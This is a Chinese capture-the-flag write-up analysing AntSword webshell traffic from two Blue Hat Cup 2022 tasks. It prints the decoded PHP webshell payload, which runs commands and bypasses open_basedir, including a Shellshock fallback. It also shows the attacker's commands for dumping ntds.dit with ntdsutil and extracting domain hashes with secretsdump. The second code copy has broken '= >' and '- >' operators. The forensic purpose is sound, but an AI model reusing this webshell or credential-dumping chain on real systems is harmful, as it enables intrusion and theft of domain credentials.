浅析中国蚁剑的木马加密流量

news2024/9/25 3:29:07

简介

在蓝帽杯 2022 初赛中,domainhacker 的流量分析题目聚焦于中国蚁剑这款 webshell 管理工具的流量特征。通过对比赛提供的数据包进行解析,本文将深入分析蚁剑在连接木马时产生的加密流量。

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?

[蓝帽杯 2022 初赛]domainhacker2
根据题目信息,我们直接追踪TCP流量
在这里插入图片描述

将POST的数据进行Decode

a=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split("/;|:/",$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.c46a89a";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "79c2"."0b92";
	echo @asenc($output);
	echo "b4e7e"."465b62";
}
ob_start();
try {
	$p=base64_decode(substr($_POST["yee092cda97a62"],2));
	$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));
	$envstr=@base64_decode(substr($_POST["p48a6d55fac1b1"],2));
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	if(substr($d,0,1)=="/") {
		@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	} else {
		@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if(!empty($envstr)) {
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=", $v));
			}
		}
	}
	$r="{$p} {$c}";
	function fe($f) {
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)) {
			$d=array();
		} else {
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	}
	;
	function runshellshock($d, $c) {
		if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
			if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
				$tmp = tempnam(sys_get_temp_dir(), 'as');
				putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
				if (fe('error_log')) {
					error_log("a", 1);
				} else {
					mail("a@127.0.0.1", "", "", "-bv");
				}
			} else {
				return False;
			}
			$output = @file_get_contents($tmp);
			@unlink($tmp);
			if ($output != "") {
				print($output);
				return True;
			}
		}
		return False;
	}
	;
	function runcmd($c) {
		$ret=0;
		$d=dirname($_SERVER["SCRIPT_FILENAME"]);
		if(fe('system')) {
			@system($c,$ret);
		} elseif(fe('passthru')) {
			@passthru($c,$ret);
		} elseif(fe('shell_exec')) {
			print(@shell_exec($c));
		} elseif(fe('exec')) {
			@exec($c,$o,$ret);
			print(join("",$o));
		} elseif(fe('popen')) {
			$fp=@popen($c,'r');
			while(!@feof($fp)) {
				print(@fgets($fp,2048));
			}
			@pclose($fp);
		} elseif(fe('proc_open')) {
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])) {
				print(@fgets($io[1],2048));
			}
			while(!@feof($io[2])) {
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		} elseif(fe('antsystem')) {
			@antsystem($c);
		} elseif(runshellshock($d, $c)) {
			return $ret;
		} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		} else {
			$ret = 127;
		}
		return $ret;
	}
	;
	$ret=@runcmd($r." 2>&1");
	print ($ret!=0)?"ret={$ret}":"";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

典型的蚁剑马,并在其中发现了读取操作的相关代码

$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));

然后我们将每次q8fb9d4c082c11的操作找出来

cd /d "C:/phpstudy_pro/WWW"&whoami /priv&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "whoami /priv"&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&tasklist&echo efa923ba504&cd&echo 1a4be8815ef8
......
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

我们将所有的HTTP对象导出来

发现有一个RAR文件而且有加密

我们注意这个操作

&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

1.rar 1.txt解压缩1.txt到1.rar中并且使用SecretsPassw0rds加密

然后我们使用SecretsPassw0rds去解压1.rar

在这里插入图片描述
得到解压密码

[蓝帽杯 2022 初赛]domainhacker2

前置知识:

在域环境中,活动目录是域中提供目录服务的组件,其可以帮助用户快速准确地从目录中找到其所需要的信息。在规模较大的网络中,要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等分门别类、井然有序的存放在一个大仓库中,并做好信息索引,一遍查找、管理和使用这些资源对象。拥有这个层次结构的数据库就是活动目录数据库。

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。

我们拿到两个附件,一个是misc-2.pcapng流量包,一个是 ntds.rar加密文件

然后我们简单浏览流量包之后,统计http请求

在这里插入图片描述

我们查看关于1.php的流量包

在这里插入图片描述

分析流量包的内容

在这里插入图片描述

看上去是webshell流量

aaa = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir)  {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if (!@is_writable($item))  {
            continue;
        };
        $tmdir = $item."/.6e92708f25a";
        @mkdir($tmdir);
        if (!@file_exists($tmdir))  {
            continue;
        }

        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for($i = 0;
        $i < sizeof($cntarr);
        $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "ba"."47a";
    echo @asenc($output);
    echo "abe28"."ca2197";
}

ob_start();
try {
    $p = base64_decode(substr($_POST["i00fdbe370f732"], 2));
    $s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));
    $envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/"?"-c \"{$s}\"":"/c \"{$s}\"";
    if (substr($d, 0, 1) == "/")  {
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }

    if (!empty($envstr))  {
        $envarr = explode("|||asline|||", $envstr);
        foreach($envarr as $v) {
            if (!empty($v))  {
                @putenv(str_replace("|||askey|||", "=", $v));
            }

        }

    }

    $r = "{$p} {$c}";
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d))  {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }

        return(function_exists($f)&&is_callable($f)&&!in_array($f, $d));
    };
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail')))  {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE)  {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log'))  {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }

            } else {
                return False;
            }

            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "")  {
                print($output);
                return True;
            }

        }

        return False;
    };
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system'))  {
            @system($c, $ret);
        } elseif (fe('passthru'))  {
            @passthru($c, $ret);
        } elseif (fe('shell_exec'))  {
            print(@shell_exec($c));
        } elseif (fe('exec'))  {
            @exec($c, $o, $ret);
            print(join("
", $o));
        } elseif (fe('popen'))  {
            $fp = @popen($c, 'r');
            while (!@feof($fp))  {
                print(@fgets($fp, 2048));
            }

            @pclose($fp);
        } elseif (fe('proc_open'))  {
            $p = @proc_open($c, array(1 = > array('pipe', 'w'), 2 = > array('pipe', 'w')), $io);
            while (!@feof($io[1]))  {
                print(@fgets($io[1], 2048));
            }

            while (!@feof($io[2]))  {
                print(@fgets($io[2], 2048));
            }

            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem'))  {
            @antsystem($c);
        } elseif (runshellshock($d, $c))  {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM"))  {
            $w = new COM('WScript.shell');
            $e = $w -  > exec($c);
            $so = $e -  > StdOut();
            $ret .= $so -  > ReadAll();
            $se = $e -  > StdErr();
            $ret .= $se -  > ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }

        return $ret;
    };
    $ret = @runcmd($r." 2>&1");
    print ($ret != 0)?"ret={$ret}":"";;
} catch(Exception $e) {
    echo "ERROR://".$e -  > getMessage();
};
asoutput();
die();

找到关键部分,我们只需要解码即可

    $p = base64_decode(substr($_POST["i00fdbe370f732"], 2));
    $s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));
    $envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));

我们只需要删除前面两个字符,并进行base64解码即可

简单分析几个流量包

cd /d "c:\\Windows\\Temp"&move ntds.rar c:\phpstudy_pro\www\&echo 1d3632&cd&echo 78bc462ab

cd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462ab

cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
#制作压缩包的命令,密码为 FakePassword123$

cd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462ab

cd /d "C:\\phpstudy_pro\\WWW"&cd c:\windows\temp\&echo 1d3632&cd&echo 78bc462ab

cd /d "C:\\phpstudy_pro\\WWW"&type err.txt&echo 1d3632&cd&echo 78bc462ab

cd /d "C:\\phpstudy_pro\\WWW"&dir &echo 1d3632&cd&echo 78bc462ab

cd /d "C:\\phpstudy_pro\\WWW"&cmd.exe /c ntdsutil.exe < log.txt >err.txt

解压ntds我们就拿到了一个活动目录中的ntds.dic和注册表中SYSTEM以及SECURITY

然后我们利用网络上的解析ntds.dic的脚本查看本地的历史记录

python secretsdump.py 
-system ../../../../MISC/综合/NTDS解析/domainhacker2/registry/SYSTEM 
-ntds ../../../../MISC/综合/NTDS解析/domainhacker2/Active\ Directory/ntds.dit 
LOCAL -history

然后我们查看最近的Administrator的密码hash

在这里插入图片描述

拿到flag :flag{07ab403ab740c1540c378b0f5aaa4087}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1989282.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微信小程序开发【从0到1~入门篇4】

如果您没有看我上一篇文章&#xff0c;建议返回阅读&#xff1a; 微信小程序开发【从0到1~入门篇3】 这篇文章进入基础增强阶段&#xff0c;通过对这篇文章的学习&#xff0c;你将学会以下内容 ① 能够创建并引用组件 ⚫ 全局引用、局部引用、usingComponents ② 能够知道如何…

Unity初识

1&#xff1a;下载Unity Hub 下载地址&#xff1a;Unity官方下载_Unity最新版_从Unity Hub下载安装 | Unity中国官网 建议直接使用unity hub因为支持比较全面&#xff0c;适合新手 有中文 管理 编辑器等等功能支持 下载安装不过多介绍 2&#xff1a;Unity Hub汉化 因为我…

Unity Console 窗口输出对齐

起因&#xff1a;做了个工具在console窗口罗列一些信息&#xff0c;基本结构是 [ 文件名 &#xff1a;行号 ]&#xff0c;因为文件&#xff0c;行号长度不一&#xff0c;想要做到如下效果。 初步尝试&#xff0c;用以下方法&#xff1a; string format "{0,-10} …

凯伦股份子公司中标中建八局发展建设分公司年度多项工程集采

近日&#xff0c;凯伦股份旗下全资子公司——苏州凯瑞伦建筑工程有限公司凭借其卓越的专业素养和服务能力&#xff0c;顺利中标中国建筑第八工程局有限公司发展建设分公司-北京分公司2024年度-北京、天津、河北、内蒙等区域防水工程集采。 中国建筑第八工程局有限公司发展建设分…

书生大模型实战营-入门关卡-Linux 前置基础

任务&#xff1a;Tutorial/docs/L0/Linux at camp3 InternLM/Tutorial GitHub 完成&#xff1a;

长在客户审美点上的可视化大屏,大概率就是这个样子。

要想使可视化大屏长在客户审美点上&#xff0c;需要具备以下特征&#xff1a; 布局合理&#xff1a;有良好的整体结构和布局&#xff0c;各个元素之间的关系清晰&#xff0c;避免视觉上的混乱和杂乱无章感。信息展示清晰有序&#xff0c;重点突出&#xff0c;能够让客户快速找…

Granger-因果检验及 Stata 具体操作步骤

目录 一、文献综述 二、理论原理 三、实证模型 四、程序代码及解释 五、代码运行结果 一、文献综述 Granger 因果检验作为一种重要的时间序列分析方法&#xff0c;在众多学科领域中都发挥着关键作用&#xff0c;并引发了广泛的研究和应用。 在宏观经济学领域&#xff0c;学…

探秘C# LINQ元素运算:原理阐释与实践指南

文章目录 一、LINQ元素运算符概述二. ElementAt 和 ElementAtOrDefault三. First 和 FirstOrDefault四. Last 和 LastOrDefault五. Single 和 SingleOrDefault六. Where 和 Select七、实际应用场景示例总结 LINQ&#xff08;Language-Integrated Query&#xff09;是C#中强大且…

Linux基础IO——重定向与文件缓冲区

文章目录 重定向重定向的系统调用C语言中的FILE结构体 文件缓冲区C语言缓冲区 重定向 我们在学习Linux的基本内容时候&#xff0c;知道>> >都可以用来表示重定向&#xff0c;那么重定向的本质是什么呢&#xff0c;其实就是更改了标号为1的文件描述符 1表示标准输出&…

虚实共生:数字孪生技术引领设施农业新未来

在全球人口持续增长和气候变化日益严峻的背景下,设施农业正面临前所未有的挑战和机遇。如何在有限的资源条件下提高作物产量、质量和生产效率,成为困扰农业从业者的核心问题。随着人工智能、物联网和大数据等新兴技术的快速发展,数字化转型为设施农业带来了新的希望。其中,数字…

如何为树莓派添加人工智能超能力!

Raspberry Pi AI 套件价格实惠&#xff0c;安装简单&#xff0c;只要你能找到一个。 Adrian Kingsley-Hughes/ZDNET ZDNET 的关键要点 Raspberry Pi 基金会发布了适用于 Pi 5 的 Raspberry Pi AI 套件&#xff0c;但供应情况并不稳定。在撰写本文时&#xff0c;我在亚马逊和芝…

跟《经济学人》学英文:2024年08月03日这期 What is the point of industry awards?

What is the point of industry awards? Booze, sweat and plexiglass booze&#xff1a;美 [buz] 酒精饮料&#xff1b;烈酒&#xff1b;<俚>喝酒 sweat&#xff1a;英 [swet] 汗水&#xff1b;辛勤劳动 注意发音 plexiglass&#xff1a;美 [pleksɪˌglɑs] 树脂玻…

“消费新纪元:探索‘消费增值’的无限可能“

亲爱的顾客们&#xff0c;你们好&#xff01;今天&#xff0c;我想深入谈谈一种正在革新我们消费体验的模式——我们称之为“消费增值”。这个模式不仅仅保留了购物的乐趣&#xff0c;更在每一笔交易中融入了额外的价值&#xff0c;让消费过程焕发新生。 长久以来&#xff0c;我…

Google 高级搜索操作符

在 Google 搜索中&#xff0c;有些高级搜索操作符&#xff0c;它可以帮助你找到特定类型的文件。以下是一些常见的搜索操作符及其用途&#xff1a; filetype: — 搜索特定类型的文件。例如&#xff1a; filetype:pdf 人工智能 可以找到所有包含“人工智能”的 PDF 文件。 filet…

天机学堂 第6天 点赞逻辑

首先我们来分析整理一下点赞业务的需求&#xff0c;一个通用点赞系统需要满足下列特性&#xff1a; 通用&#xff1a;点赞业务在设计的时候不要与业务系统耦合&#xff0c;必须同时支持不同业务的点赞功能 独立&#xff1a;点赞功能是独立系统&#xff0c;并且不依赖其它服务。…

RM小陀螺技术经验与思考

移动小陀螺的原理&#xff1a; 先调好云台&#xff0c;车移动云台方向不动。然后可以用电机和底盘的机械角度来计算 涉及到两个知识点&#xff1a;速度闭环和变换矩阵。。。 把mpu的值映射到脉轮上面&#xff0c;就是说根据yaw电机编码器和mpu的差值来计算麦轮解算的x 和y的移…

开发android app用于移远模块读写IMEI 模组EC200DEULA-D08-SNNDA 支持socket连接读写IMEI

开放权限 adb kill-serveradb rootadb shell setenforce 0adb install -t app-debug.apkadb shell am start -n com.azhon.spplus/.MainActivity::F310A_WriteIMEI -DWadb.exe forward tcp:5902 tcp:5902pause写读IMEI ADB socket协议 TCP 127.0.0.1:5902 PC与终端APP之间 j…

商业数据分析PPT制作大纲系列一进入数据分析世界(需PPT私)

PART 1数据挖掘:从海量信息中淘出真金 数据挖掘是在海量的数据中发现有价值信息和知识的过程。它就像是一位经验丰富的矿工,在堆积如山的数据矿石中,精准地筛选出珍贵的金子。 引言: 数据挖掘的定义与价值技术概览: 关键算法(如决策树、K-means聚类、关联规则); 步骤…

简单搭建vue项目

1.先安装node.js和vite&#xff0c;具体参考&#xff1a; 2.管理员身份运行cmd&#xff0c;跳转到node安装目录&#xff1a; 输入&#xff1a; npm create vitelatest 输入项目名称&#xff0c;选择vue和JavaScript 2.VisualStudioCode打开(可能需要管理员权限)创建的文件夹,点…

Sqlserver 备份表

Sqlserver 备份表 1、右键数据库->任务->生成脚本 2、在引导界面点击下一步 3、选择需要导出的表 4、在高级里面选择备份数据与架构&#xff0c;然后再单选每个对象一个文件 每个对象一个文件是有多个表的情况下备份成多个文件&#xff0c;否则所有表都在一个文件中 架…